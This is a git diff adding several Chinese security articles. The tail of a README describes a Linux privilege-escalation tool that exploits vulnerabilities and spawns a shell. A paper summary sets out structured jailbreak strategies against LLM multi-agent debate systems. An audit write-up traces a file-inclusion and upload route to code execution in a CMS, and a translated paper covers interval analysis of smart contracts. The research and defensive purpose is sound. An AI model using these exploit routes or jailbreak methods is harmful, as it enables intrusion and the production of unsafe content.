- 是否存在病毒自测
|
||||
|
||||
我在自己虚拟机的ubuntu上是成功提权了,结果如下:
|
||||
```
|
||||
./znlinux_linux_amd64 -a
|
||||
```
|
||||
|
||||
提权成功:
|
||||
|
||||

|
||||
|
||||
使用
|
||||
```
|
||||
Usage:
|
||||
znLinux [flags]
|
||||
|
||||
Flags:
|
||||
-a, --any 一旦检测到漏洞,立即尝试利用该漏洞。在可能的情况下提供shell。
|
||||
-h, --help help for znLinux
|
||||
-p, --with-password 提示输入用户密码
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
109
doc/2025-05/【论文速读】 漏洞放大:针对基于LLM的多智能体辩论的结构化越狱攻击.md
Normal file
109
doc/2025-05/【论文速读】 漏洞放大:针对基于LLM的多智能体辩论的结构化越狱攻击.md
Normal file
@ -0,0 +1,109 @@
|
||||
# 【论文速读】| 漏洞放大:针对基于LLM的多智能体辩论的结构化越狱攻击
|
||||
原创 知识分享者 安全极客 2025-05-07 09:26
|
||||
|
||||

|
||||
|
||||
**基本信息**
|
||||
|
||||
|
||||
原文标题:Amplified Vulnerabilities: Structured Jailbreak Attacks on LLM-based Multi-Agent Debate
|
||||
|
||||
原文作者:Senmao Qi, Yifei Zou, Peng Li, Ziyi Lin, Xiuzhen Cheng, Dongxiao Yu
|
||||
|
||||
作者单位:山东大学计算机科学与技术学院、西安交通大学网络空间安全学院
|
||||
|
||||
关键词:多智能体辩论(MAD)、越狱攻击、大语言模型(LLMs)、结构化提示重写、安全性研究
|
||||
|
||||
原文链接:https://arxiv.org/abs/2504.16489
|
||||
|
||||
开源代码:暂无
|
||||
|
||||
|
||||
**论文要点**
|
||||
|
||||
|
||||
论文简介:Multi-Agent Debate(MAD)框架通过让多个大语言模型(LLMs)协同辩论来提升复杂任务的推理能力。然而,其迭代式对话和角色扮演特性带来的安全隐患,尤其是对越狱攻击的易感性,尚未被充分研究。本文系统性地揭示了基于主流商用LLMs(GPT-4o、GPT-4、GPT-3.5-turbo、DeepSeek)构建的四种MAD系统的越狱脆弱性。作者提出了一种创新的结构化提示重写框架,利用叙事封装、角色驱动升级、迭代细化和修辞模糊等策略,大幅放大了越狱攻击的成功率。实验显示,MAD系统比单一代理系统更容易被攻破,部分情境下攻击成功率高达80%。这些发现警示,真实部署MAD系统之前,亟需研发专门的防御机制。
|
||||
|
||||

|
||||
|
||||
研究目的:
|
||||
|
||||
在LLMs领域,尽管单体模型的越狱攻击与防御研究日益丰富,但涉及多个模型协作(如MAD模式)下的安全性问题研究寥寥。本文旨在探究MAD在面对越狱攻击时是否因合作增强了安全性,还是由于角色扮演和对话机制反而放大了系统脆弱性,从而为未来多智能体系统的安全设计提供依据。
|
||||
|
||||
研究贡献:
|
||||
|
||||
1. 证实了MAD系统相比单一LLM系统在无攻击情况下本身就具有更高的有害内容生成倾向;
|
||||
|
||||
2. 提出了一套针对MAD系统的结构化提示重写框架,能大幅提升越狱攻击的有效性;
|
||||
|
||||
3. 实验表明,基础模型的安全性直接影响MAD整体安全水平——使用安全性较低模型的系统在越狱攻击下表现出更高的脆弱性。
|
||||
|
||||
|
||||
**引言**
|
||||
|
||||
|
||||
本文首先回顾了大语言模型(LLMs)在自然语言处理、内容生成等领域取得的突破性进展。然而,与此同时,越狱攻击技术不断演化,通过精心设计的提示(prompt)绕过模型的内容安全约束,诱使模型生成有害或非法内容,构成了严重的社会风险。目前的防御研究主要集中在单个LLM,尚未涉及多个模型相互辩论的MAD系统。作者指出,MAD框架下,角色扮演可能引发更极端的立场碰撞,使得有害内容更容易生成和扩散。因此,本文旨在系统性分析MAD系统在越狱攻击面前的脆弱性,提出新型攻击方法,并评估其对各类MAD框架的影响。
|
||||
|
||||
|
||||
**相关工作**
|
||||
|
||||
|
||||
近年来,多智能体辩论(Multi-Agent Debate, MAD)作为提升大语言模型(LLMs)推理能力的重要手段,受到了广泛关注。早期工作如Du等人提出,通过多代理生成观点、辩论矛盾点并投票决策,有效促进了答案质量的提升。但初期方法大多仅复制同一模型,缺乏角色多样性。随后,Liang等人引入正方、反方及评判者角色,通过模拟人类辩论机制,促进了更具发散性和深度的推理。此外,Yin等人提出了以细节、严谨、问题解决为导向的角色设定,并加入信心评估机制,进一步优化了辩论结果。Chan等人则在ChatEval框架中支持多种辩论模式,包括一对一与群体辩论。
|
||||
|
||||
除了框架创新,研究者们也在探索提升MAD效率的路径,如AgentVerse提出了动态分配角色以增强协作,Sparse Communication等方法则通过稀疏交流减少冗余信息,提升推理质量。同时,为了解决多轮对话中出现的问题漂移,Becker等人提出检测和修正机制,Wang等人则引入知识增强手段以确保背景一致性。
|
||||
|
||||
然而,尽管推理能力与效率有所提升,MAD在安全性方面的研究仍十分稀缺。现有关于多智能体系统(MAS)安全的研究主要聚焦于内部代理被攻陷或外部提示注入等攻击,但尚未深入探讨MAD独特的角色互动和辩论动态所带来的安全隐患,形成了一个亟待填补的研究空白。
|
||||
|
||||
|
||||
**多智能体辩论中的越狱**
|
||||
|
||||
|
||||
多智能体辩论(MAD)模型通常由多个具备不同角色的大语言模型(LLMs)组成,围绕复杂推理任务展开多轮结构化讨论。在这种框架下,每个代理根据当前的对话历史(Memory)和其特定的系统提示(Prompt)生成响应,并在每一轮中持续更新自己的记忆和回答内容。经过多轮互动后,系统会由一个评估代理(Evaluator)综合所有代理的贡献,输出最终答案。
|
||||
|
||||

|
||||
|
||||
为了系统性地分析MAD系统中潜在的越狱风险,本文选取了四种主流框架:Multi-Persona、Exchange of Thoughts、ChatEval和AgentVerse。它们在角色分配、辩论流程和决策机制上各具特色,比如Multi-Persona设置正方、反方和评判员,Exchange of Thoughts则模拟详细分析者、创意提出者和综合者之间的思想交流。
|
||||
|
||||
针对这些MAD系统,作者构建了一个现实威胁模型:假设攻击者仅能通过外部输入操控系统,了解系统的基本角色设置与流程,但无法访问内部模型结构或安全机制。攻击者通过设计恶意提示(jailbreak prompts),试图在多轮交互中引导代理逐步生成有害内容。
|
||||
|
||||
为了提高越狱攻击的成功率,本文提出了创新的结构化提示重写方法。该方法融合了四种策略:叙事封装(将敏感问题包装成虚构情景)、角色驱动升级(通过角色冲突引导细节暴露)、迭代细化(随着多轮讨论深入细节)、修辞模糊(以文雅隐晦的语言掩盖意图)。最终,重写后的提示能有效穿透MAD系统的防护机制,诱导多个代理在协作中逐步泄露敏感或违规信息,显著提升越狱攻击的成功率。
|
||||
|
||||
|
||||
**研究实验**
|
||||
|
||||
|
||||
为了验证提出的越狱攻击方法对多智能体辩论(MAD)系统的威胁,作者设计了系统性实验,涵盖模型选择、数据集设置和评估指标多个方面。
|
||||
|
||||

|
||||
|
||||
在模型方面,实验选取了四种主流大型语言模型,分别是GPT-4o、GPT-4、GPT-3.5-turbo以及DeepSeek。这些模型代表了当前商业闭源和开源领域的先进水平。MAD框架则涵盖了Multi-Persona、Exchange of Thoughts、ChatEval和AgentVerse四种典型代表,每个框架内的代理角色设置和辩论流程各不相同。
|
||||
|
||||
在数据集选择上,作者使用了两个公开的恶意提示集合——HarmfulBench的Harmful Generation子集与Do-Not-Answer数据集。这些数据涵盖了广泛的有害请求类型,能够全面测试系统的安全性边界。
|
||||
|
||||

|
||||
|
||||
实验过程中,分别在单代理(Single Agent)和多代理(MAD)模式下,注入标准恶意提示与经过结构化重写的恶意提示。为了量化系统脆弱性,作者设置了三项主要评估指标:过程有害性分数(PHS)、答案有害性分数(AHS)和有害扩散率(HDR)。此外,还通过Jailbreakeval工具评估了最终回答的越狱成功率(ASR)。
|
||||
|
||||

|
||||
|
||||
实验结果表明,相比单代理系统,MAD框架在默认情况下就更容易生成有害内容。引入结构化提示重写后,MAD系统中的有害性显著放大,部分场景下攻击成功率高达80%。不同基础模型之间也存在显著差异,其中安全性较低的模型(如DeepSeek)在MAD环境下表现出更高的脆弱性。这些发现充分揭示了MAD系统在多轮互动和角色分工机制下固有的安全风险。
|
||||
|
||||
|
||||
**论文结论**
|
||||
|
||||
|
||||
本文系统地揭示了多智能体辩论(MAD)系统在面对越狱攻击时的潜在安全漏洞。研究表明,MAD因其角色分工和交互流程,天然具备比单一LLM更高的脆弱性。作者提出的结构化提示重写方法能显著提升攻击成功率,暴露出当前MAD架构在面对恶意输入时防御不足的问题。未来需要针对MAD的多轮、多角色特性设计专门的防御机制,如引入安全验证代理、加强跨轮监控和提升角色设定的安全约束,以确保其在实际应用中的安全可控。
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzkzNDUxOTk2Mw==&mid=2247495405&idx=1&sn=67249648d5c312b5c178b23b077d28f3&scene=21#wechat_redirect)
|
||||
|
||||

|
||||
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=MzkzNDUxOTk2Mw==&mid=2247493750&idx=1&sn=27bd578179e5abbdc8907b669519bb8f&chksm=c2b95d82f5ced4945cf8844013563398cb3a885ea96a2ee2b60bfcc26d77ebffe78a35285646&scene=21#wechat_redirect)
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=MzkzNDUxOTk2Mw==&mid=2247493759&idx=1&sn=0aed37ae210bde25a6b16a745301b71d&chksm=c2b95d8bf5ced49d12eb8cc6192c4e091bf11b6ffe99d4025467ea98b9d04cad89ba0ea91710&scene=21#wechat_redirect)
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=MzkzNDUxOTk2Mw==&mid=2247493770&idx=1&sn=2c6d24403cda8f0ef45cadb10e1bfebd&chksm=c2b95d7ef5ced4686e39951e21153c81f0a1e57cabf0937e0d996e6621385745d3ee30d98c11&scene=21#wechat_redirect)
|
||||
|
||||

|
||||
|
155
doc/2025-05/一次某info开源系统漏洞挖掘.md
Normal file
155
doc/2025-05/一次某info开源系统漏洞挖掘.md
Normal file
@ -0,0 +1,155 @@
|
||||
# 一次某info开源系统漏洞挖掘
|
||||
进击安全 2025-05-07 13:35
|
||||
|
||||
**审计过程:******
|
||||
在入口文件admin/index.php中:
|
||||
|
||||

|
||||
|
||||
用户可以通过m,c,a等参数控制加载的文件和方法,在app/system/entrance.php中存在重点代码:
|
||||
|
||||

|
||||
|
||||
当
|
||||
M_TYPE == 'system'
|
||||
并且
|
||||
M_MODULE == 'include'
|
||||
时
|
||||
,
|
||||
会设置常量
|
||||
PATH_OWN_FILE
|
||||
为
|
||||
PATH_APP.M_TYPE.'/'.M_MODULE.'/module/'
|
||||
|
||||
|
||||
也就是路径
|
||||
:
|
||||
/app/system/include/module
|
||||
这个文件夹
|
||||
,
|
||||
这个点非常重要
|
||||
。
|
||||
|
||||
|
||||
M_MODULE的值在入口文件中,通过参数传递,导致我们可以控制:
|
||||
|
||||

|
||||
|
||||
M_TYPE的值如下图所示:
|
||||
|
||||

|
||||
|
||||
这里M_NAME的值是由我们输入的,只要不赋值即可让M_TYPE的值为system。
|
||||
|
||||
|
||||
所以通过对参数m的控制可以设置常量PATH_OWN_FILE为/app/system/include/module 这个点非常重要,后续会用到。
|
||||
|
||||
|
||||
继续往后会执行load::module()方法:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
当module方法不传递任何参数时,会使用默认的参数值,也就是$path = '',所以这里也就会将$path 的值设置为PATH_OWN_FILE,也就是路径:/app/system/include/module
|
||||
|
||||
|
||||
后续的$modulename,$action变量的值也就是我们开头的通过参数a,c控制的值。
|
||||
|
||||

|
||||
|
||||
后续进行self::_load_class($path, $modulename, $action);参数的实现如下:
|
||||
|
||||

|
||||
|
||||
该方法就是将文件进行加载进来,并且new出该类的对象后,通过call_user_func进行方法的调用。
|
||||
|
||||
|
||||
我们可以在/app/system/include/module目录下寻找到符合xxx.class.php的文件,如:/app/system/include/module/loadtemp.class.php 在给文件中存在doviewHtml方法是我们可以通过web进行调用的:
|
||||
|
||||

|
||||
|
||||
该自研框架通过
|
||||
$_M['form']['path'];
|
||||
等方式获取到用户的输入
|
||||
,
|
||||
等同于
|
||||
$_POST[
|
||||
'path'
|
||||
]
|
||||
|
||||
|
||||
最后一路执行会来到$view->dofetch的地方:
|
||||
|
||||
|
||||

|
||||
|
||||
这里我们完全可控$file参数:
|
||||
|
||||

|
||||
|
||||
继续跟进fetch方法:
|
||||
|
||||

|
||||
|
||||
跟进display方法:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
重点关注$this->compile();//执行编译:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
在执行编译中,将我们输入的文件路径进行了内容读取,将读取后的内容写入到了$this->view->compileFile文件中,返回到开始的display方法中:
|
||||
|
||||

|
||||
|
||||
通过include编译文件造成了任意代码执行漏洞。
|
||||
|
||||
### 文件上传处:
|
||||
|
||||
|
||||
/app/system/include/module/uploadify.class.php 文件中的doupfile方法:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
可以直接上传白名单内的文件,配合上面的文件包含,造成任意代码执行漏洞。
|
||||
|
||||
|
||||
漏洞复现:
|
||||
|
||||

|
||||
|
||||
**修复建议:官网已经发布补丁,请及时更新补丁升级版本。**
|
||||
|
||||
****
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
****#
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
334
doc/2025-05/使用区间分析识别智能合约中的漏洞.md
Normal file
334
doc/2025-05/使用区间分析识别智能合约中的漏洞.md
Normal file
@ -0,0 +1,334 @@
|
||||
# 使用区间分析识别智能合约中的漏洞
|
||||
pureGavin【译】 看雪学苑 2025-05-07 09:59
|
||||
|
||||
> 本文作为我们研究的进展报告,重点在于利用区间分析这一已有的静态分析方法来检测智能合约中的漏洞。我们展示了一些具有代表性的易受攻击的智能合约示例,并分享了我们使用多个现有检测工具进行实验的结果。我们的发现表明,这些工具未能检测出我们示例中的漏洞。为了提高检测能力,我们在现有检测工具 Slither [3] 的基础上实现了区间分析,并展示了它在识别某些其他工具无法检测到的漏洞方面的有效性。
|
||||
|
||||
#
|
||||
|
||||
**1**
|
||||
|
||||
**引言**
|
||||
|
||||
|
||||
“智能合约”这一术语最初用来描述自动化的法律合同,其内容不可协商或更改。如今,这一术语通常指的是由去中心化网络或区块链中的特殊节点执行的程序。事实上,区块链技术体现了该术语最初的含义:合约被编码为不可变的代码片段,合约条款是预先确定的,并由合约本身自动执行。
|
||||
|
||||
|
||||
这种不可变性也意味着合约开发者需要投入更多的精力:他们必须非常谨慎地部署代码,因为该代码(1)是公开的,任何人都可以看到;(2)不能像普通程序那样被更改或更新。Ethereum 是一个非常流行的区块链平台,其部署代码中的漏洞曾导致一些重大的攻击事件。例如,“The DAO 攻击” 就是基于智能合约在执行过程中可以被中断并再次调用的事实。这被称为重入漏洞。攻击者注意到,在该智能合约的提现函数中,数字资产的转移发生在更新余额(即将提现金额从余额中扣除)之前。攻击者首先向智能合约中存入加密货币,然后通过构造一个使提现函数在更新其自身余额之前再次调用自身的场景,持续提取合约中的资金,直到合约余额低于提现金额为止。
|
||||
|
||||
|
||||
这种错误是令人遗憾的,因此研究人员和从业者开始提出各种方法和工具来检测它们。例如,Slither [3] 是一个易于使用的静态分析工具,用于分析用 Solidity 编写的智能合约;Mythril 是一个基于符号执行的 EVM 字节码安全分析工具;Solhint 是一个 Solidity 代码的语法检查器。工具的数量很多,并且在多篇论文中进行了探讨(例如,[5, 7, 6, 1, 4])。这些工具确实非常有用,但它们并不完美,可能无法检测出智能合约代码中的问题情况。
|
||||
|
||||
|
||||
在本文中,我们提供了几个包含漏洞的智能合约示例,并发现现有漏洞检测工具并不像我们预期的那样精确,它们未能检测出我们示例中的漏洞。我们尝试将一种名为区间分析的现有静态分析方法添加到 Slither 工具中。该方法可以更好地近似每个程序变量的取值范围。根据我们进行的实验,区间分析在检测智能合约中的问题情况方面非常有用。例如,Solidity 中的整数除法会忽略余数。在一种需要将加密货币金额进行分配并转移给多个接收者的情况下,若除法操作忽略了余数,可能会导致部分资金被锁定在智能合约中。另一个示例与未初始化变量有关:此类变量被赋予默认值,而默认值可能不适用于该变量的用途。通过跟踪每个程序变量的所有可能取值,区间分析可以提示智能合约中的此类情况。
|
||||
|
||||
|
||||
**贡献总结**
|
||||
|
||||
|
||||
1.我们提供了多个包含漏洞的智能合约示例,这些漏洞对当前最先进的检测工具构成挑战。
|
||||
|
||||
2.我们在 Slither 上实现了一种名为区间分析的现有分析技术。
|
||||
|
||||
3.我们对该实现进行了评估。
|
||||
|
||||
|
||||
**论文结构**
|
||||
|
||||
第 2 节我们展示几个智能合约漏洞示例。第 3 节中我们展示当前最先进工具在这些示例上的表现。第 4 节介绍了区间分析技术及我们的实现。第 5 节为结论部分。
|
||||
|
||||
|
||||
|
||||
**2**
|
||||
|
||||
**智能合约中的漏洞**
|
||||
|
||||
|
||||
本节包含多个用 Solidity 编写的智能合约漏洞示例。这些示例选自一个更大的分类体系 [6]。该分类共包含 55 个漏洞,分为 10 个类别。在选择这些缺陷时,参考了文献和现有的社区分类。我们选择这些漏洞是因为当前最先进的工具无法检测出它们,而这些漏洞可以使用区间分析来检测。
|
||||
## assert 或 require 语句中的重言式或矛盾式
|
||||
|
||||
Solidity 的 assert 和 require 语句通常用于验证布尔条件。根据 Solidity 文档,assert 用于检查内部错误,而 require 应该用于测试运行时才能确定的条件。这两个语句都会抛出异常并回滚相应的交易。在其预期用法中,assert 中的条件永远不应为 false,因为这表示合约级别的错误,而 require 中的条件可以为 false,因为它们表示输入错误。无论语句指定的是哪种级别的错误,如果它们包含的条件是重言式或矛盾式,都是一个问题。重言式会使语句毫无意义,而矛盾式则会导致交易无法完成,如下代码所示:
|
||||
|
||||
|
||||
```
|
||||
function notGonnaExecute(uint parameter) external pure returns(uint)
|
||||
{
|
||||
require(parameter<0); // uint cannot be < 0
|
||||
return parameter;
|
||||
}
|
||||
function uselessAssertUint(uint parameter) external pure returns(uint)
|
||||
{
|
||||
require(parameter>=0); // uint is always >= 0
|
||||
return parameter;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
## 除零错误
|
||||
|
||||
这是大多数编程语言中常见的经典算术问题。Solidity 编译器不允许直接除以零。然而,编译器无法检测分母是否可能在计算时变为零。以下代码示例中,在计算每个接收者应获得的金额(第 4 行)之前,并未检查 recipients 数组的长度:
|
||||
|
||||
|
||||
```
|
||||
function split(address[] calldata recipients) external payable
|
||||
{
|
||||
require(msg.value > 0,"Please provide currency to be split among recipients");
|
||||
uint amount = msg.value / recipients.length; // problem here if length is 0
|
||||
for(uint index = 0; index < recipients.length; index++)
|
||||
{
|
||||
(bool success,) = payable(recipients[index]).callvalue:amount("");
|
||||
require(success,"Could not send ether to recipient");
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
##
|
||||
## 整数除法余数
|
||||
|
||||
这也是许多编程语言中常见的算术问题。Solidity 执行整数除法,这意味着除法操作的结果会被截断。这可能导致忽略除法余数,从而产生逻辑错误。以下代码片段提供一个示例:如果提供的金额不能被接收者的数量整除,那么部分加密货币可能会被锁定在合约中。
|
||||
|
||||
|
||||
```
|
||||
function split(address[] calldata recipients) external payable
|
||||
{
|
||||
require(recipients.length > 0,"Empty recipients list");
|
||||
uint amountPerRecipient = msg.value / recipients.length; // remainder ???
|
||||
require(amountPerRecipient > 0,"Amount must be positive");
|
||||
for(uint index = 0; index < recipients.length; index++)
|
||||
{
|
||||
payable(recipients[index]).transfer(amountPerRecipient);
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
## 未初始化变量
|
||||
|
||||
未初始化的变量可能会导致逻辑错误或异常。如果变量未被初始化,根据其类型赋予的默认值很可能不适合该变量的用途。以下代码包含一个依赖于 owner 状态变量的访问修饰符。该变量是私有的,因此无法在合约外部访问或赋值。此外,构造函数中也没有对 owner 进行显式初始化。这会导致变量保持默认值,从而使所有带有 onlyOwner 修饰符的函数无法执行。
|
||||
|
||||
|
||||
```
|
||||
address private owner;
|
||||
|
||||
modifier onlyOwner() {
|
||||
require(msg.sender == owner, "Only the owner of the contract has access");
|
||||
_;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
##
|
||||
## 用户输入验证
|
||||
|
||||
参数验证或“净化”是每个方法开始时必须实现的过程。这确保了方法总是按预期执行。不能信任终端用户总是提供有效参数。如果缺少验证,而用户又不了解,甚至是恶意的,就可能导致关键性错误,从而产生意外结果或完全停止合约的执行。以下示例包含一个内部数组的 getter 方法。用户可以提供未经验证的索引,因此有可能越界访问。
|
||||
|
||||
|
||||
```
|
||||
uint256[] private _array= [10, 20, 30, 40, 50];
|
||||
|
||||
function getArrayElement(uint256 index) external view returns (uint256)
|
||||
{
|
||||
return _array[index];
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
##
|
||||
## 类型不匹配
|
||||
|
||||
在 Solidity 中,枚举类型以无符号整数的形式存储。因此,它们可以与 uint 类型的变量进行比较和赋值。然而,这种情况可能很棘手,因为枚举的值域通常远小于无符号整数的值域。如果将一个超过枚举范围的变量赋值给枚举变量,则交易将被回滚。虽然回滚交易被认为是安全的,但这种情况表明合约代码存在逻辑错误,最好避免出现此类问题。
|
||||
|
||||
|
||||
```
|
||||
contract UnmatchedType {
|
||||
enum Options { Candidate1, Candidate2, Candidate3 }
|
||||
mapping(address => Options) private _votes;
|
||||
mapping(Options => uint) private _votesCount;
|
||||
function vote(uint option) external {
|
||||
_votes[msg.sender] = Options(option);
|
||||
_votesCount[Options(option)]++;
|
||||
}
|
||||
function getStatisticsForOption(uint option) external view returns(uint) {
|
||||
return _votesCount[Options(option)];
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
#
|
||||
|
||||
**3**
|
||||
|
||||
**使用专用分析工具检测漏洞**
|
||||
|
||||
|
||||
本节简要介绍我们所进行的一些实验结果。
|
||||
基本上,我们使用了一些工具对智能合约进行分析,以检查它们在第 2 节所示示例中的表现。
|
||||
我们选择的工具如下所示。
|
||||
值得注意的是,我们选取了实现不同技术(如静态分析、符号执行、代码风格检查器)的工具。
|
||||
一个工具要符合我们的研究标准,必须是开源的、活跃的,并且兼容最新版本的 Solidity。
|
||||
|
||||
|
||||

|
||||
|
||||
表 1:工具在我们的示例上执行时的评估摘要(第2节)
|
||||
|
||||
****
|
||||
**Slither**是一个用 Python 编写的静态分析工具,提供漏洞检测和代码优化建议。它具有许多针对不同问题的检测器。与其他工具相比,它的分析运行时间非常短。它通过将 EVM 字节码转换为一种称为 SlithIR 的中间表示来分析 Solidity 代码。作为开源项目,它允许任何人参与和改进,是我们后续实现的基础(详见第 4 节)。Slither 能够检测未初始化变量、明显的恒真与恒假条件。
|
||||
|
||||
|
||||
**Solhint**是一个 Solidity 代码的代码风格检查器。作为一个开源项目,它可以检测潜在漏洞、优化机会以及是否遵循代码风格约定。该工具还包含一套可自定义的检测规则以及预设配置。用户可以定义自己的配置并选择要检测的问题。不幸的是,Solhint 无法检测出我们示例中的任何问题。
|
||||
|
||||
****
|
||||
**Remix**也包含一个静态分析插件。我们无法找到该工具所执行分析过程的任何信息。此外,它也无法检测出我们示例中的任何问题。
|
||||
|
||||
|
||||
**Mythril**是一个利用符号执行来模拟合约方法多次运行的工具。与其他工具相比,它的运行时间相当长,我们甚至遇到过执行时间超过几个小时的情况。Mythril 也未能检测出上面所提到的任何问题。
|
||||
|
||||
|
||||
我们在表 1 中总结了所获得的结果。结果表明,几乎所有工具都未能检测出我们示例中的漏洞。这并不意味着这些工具在智能合约代码中发现问题方面无用或效果很差。我们对结果的解读是:这些工具需要通过更强大的技术进行增强,以提高其检测能力。
|
||||
|
||||
|
||||
|
||||
**4**
|
||||
|
||||
**使用区间分析进行漏洞检测**
|
||||
##
|
||||
## 区间分析
|
||||
|
||||
区间分析是一种静态分析技术,用于在某条指令处近似每个变量的值区间。该技术不仅可以预测变量的值区间,还可以用于预测可以从变量值中推导出的某些属性。例如,不使用整数区间,而是分析变量的奇偶性,仅使用两个值的区间(偶数、奇数)。
|
||||
|
||||
|
||||

|
||||
|
||||
表 2:投票函数的区间分析
|
||||
|
||||
|
||||
我们通过第 2.6 节中的不匹配类型示例来介绍区间分析。此外,我们展示了区间分析如何帮助我们检测该示例中的问题,具体来说是vote函数中的问题:
|
||||
|
||||
|
||||
该函数记录用户的投票并增加所选项的总票数。问题出现在第 2 行:
|
||||
|
||||
|
||||
```
|
||||
function vote(uint option) external {
|
||||
_votes[msg.sender] = Options(option); //Statement 1
|
||||
_votesCount[Options(option)]++; //Statement 2
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
输入类型为uint,它很容易超出枚举类型允许的值范围 [0,1,2]。
|
||||
|
||||
|
||||
区间分析为程序中每个位置的每个变量提供值区间的近似。在表 2 中,我们展示了如何为示例计算这些区间。表中每一行展示了在执行每条语句(第一列)之前,各程序变量(列显示)的区间。例如,在执行语句 1 之前,我们对变量option没有任何信息,因此其值区间为uint的取值域。在正常执行情况下(否则事务将被回滚),_votes[msg.sender]在语句 2 之前的值区间变为 [0,2],即 Option 可取的唯一范围。
|
||||
|
||||
|
||||
区间分析使用工作列表算法执行该计算,该算法遍历程序的控制流图(CFG),并不断更新变量的区间直到达到不动点。该算法见第 4.2 节。
|
||||
|
||||
|
||||
请记住,我们试图通过区间分析检测的问题是赋值变量与被赋值变量之间的取值域不匹配。由于区间分析会计算option和_votes[msg.sender]的区间,因此仔细检查两者之间的差异即可揭示问题。一个require语句在前面检查option参数的取值将解决该问题,并且我们的检测技术将不会发出警告。
|
||||
|
||||
## 基于 Slither 的区间分析实现
|
||||
|
||||
我们使用 Slither 提供的 Python 模块构建了我们的实现。这些模块也是 Slither 自身检测器内部使用的模块。在执行过程中,Slither 会填充其内部数据结构,包含合约的控制流图(CFG)、代码的 SSA(单赋值)中间表示,以及每个变量的信息(如类型、作用域和名称)。我们利用这些数据结构中的信息来实现区间分析。
|
||||
|
||||
|
||||

|
||||
|
||||
图1:worklist算法
|
||||
|
||||
|
||||
图 1 所示的工作列表算法通过处理合约 CFG 中的每条边来工作。这些边被加入一个列表(即“工作列表”)。这是一个迭代算法,处理已有元素直到列表为空。当有新信息加入当前状态时,会将新的边也加入工作列表。算法在不再发现新信息时终止。
|
||||
|
||||
我们实现了一个模块化的工作列表算法。极值标签、顺序函数和流函数等必要信息通过参数提供给工作列表算法。这使我们能够使用相同的基础实现执行多种类型的分析。我们的实现利用 Slither 提供的 CFG 将函数代码划分为多个部分。每个节点进一步被划分为 SlithIR SSA 代码行,逐条进行分析。除了基本类型如uint和bool,我们的实现还可以建模数组、映射和结构体等复杂类型。
|
||||
|
||||
|
||||
我们定义了自己的数据类型来封装变量的信息,如类型、作用域、名称,最重要的是值区间。程序状态被表示为一个字典,键为变量名,值为我们自定义的数据类型对象。复杂类型被建模为递归字典,例如结构体的区间表示为一个字典,包含其每个字段的区间,若为嵌套结构体则继续嵌套字典。
|
||||
|
||||
|
||||
**当前状态**。我们的实现目前能够成功分析包含赋值和算术表达式的程序,支持基本类型和复杂类型。它考虑了状态变量、函数参数和局部变量。我们目前能够检测以下问题:
|
||||
|
||||
|
||||
◆算术问题,包括除以零和整数除法余数;
|
||||
|
||||
◆变量初始化相关问题;
|
||||
|
||||
◆参数验证相关问题。
|
||||
|
||||
|
||||
|
||||
**5**
|
||||
|
||||
**结论**
|
||||
|
||||
|
||||
在本文中,我们识别出了一些当前最先进的智能合约分析工具未能处理的漏洞。这些漏洞的严重性各不相同,但无论影响大小,缺陷和潜在错误都应尽早被发现。我们尝试通过一种更强大的技术——区间分析(Interval Analysis)来改进 Slither。我们解释了为什么这种技术适合用于检测这些问题,以及它是如何检测这些问题的。我们在 Slither 的基础上构建了自定义的区间分析,利用 Slither 已经提供的关于合约、其属性、方法、方法参数、程序流程等信息。目前,我们的实现能够检测出其他工具遗漏的漏洞。
|
||||
|
||||
## 未来工作
|
||||
|
||||
我们目前仅处理 Solidity 编程语言中部分表达式的情况,包括整数、布尔值、数组、结构体和映射等表达式。然而,要处理地址及其相关操作、更复杂的循环或条件语句等方面,还需要进行更深入的工作。目前,我们的代码可以在任何用 Solidity 编写的智能合约上执行,但只对我们所覆盖的子集进行区间分析。
|
||||
|
||||
|
||||
过程内分析(Intraprocedural Analysis)将显著提高我们分析的精度。例如,我们尚无法检测的一种漏洞是短地址漏洞(Short Address),这可以通过监控 payload 的长度属性来检测。另一个例子是断言或 require 语句中的恒真与矛盾表达式,这可以通过近似布尔表达式的结果并检查区间是否仅包含一个值来检测:恒真为 true,矛盾为 false。
|
||||
|
||||
|
||||
能够处理更复杂的条件语句和循环也将有助于通过解释布尔表达式的语义,更准确地监控程序状态。一旦我们根据条件分支识别出多个可能的状态,就可以利用如轨迹划分(Trace Partitioning)等统一技术。此外,监控隐式状态变量,如合约级别或函数级别的变量(例如 balance 或 msg.sender),也将有助于识别与余额相关的问题和用户交互问题。
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
看雪ID:pureGavin【译】
|
||||
|
||||
https://bbs.kanxue.com/user-home-777502.htm
|
||||
|
||||
*本文由 pureGavin 翻译,转载请注明来自看雪社区
|
||||
|
||||
|
||||
|
||||
# 往期推荐
|
||||
|
||||
1、[安卓壳学习记录(下)-某加固免费版分析](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458592613&idx=2&sn=3509d0611c62f7922a97536583bcd512&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
2、[逆向分析:Win10 ObRegisterCallbacks的相关分析](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458592612&idx=1&sn=8ddae3ae29238d0dd594884189b49468&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
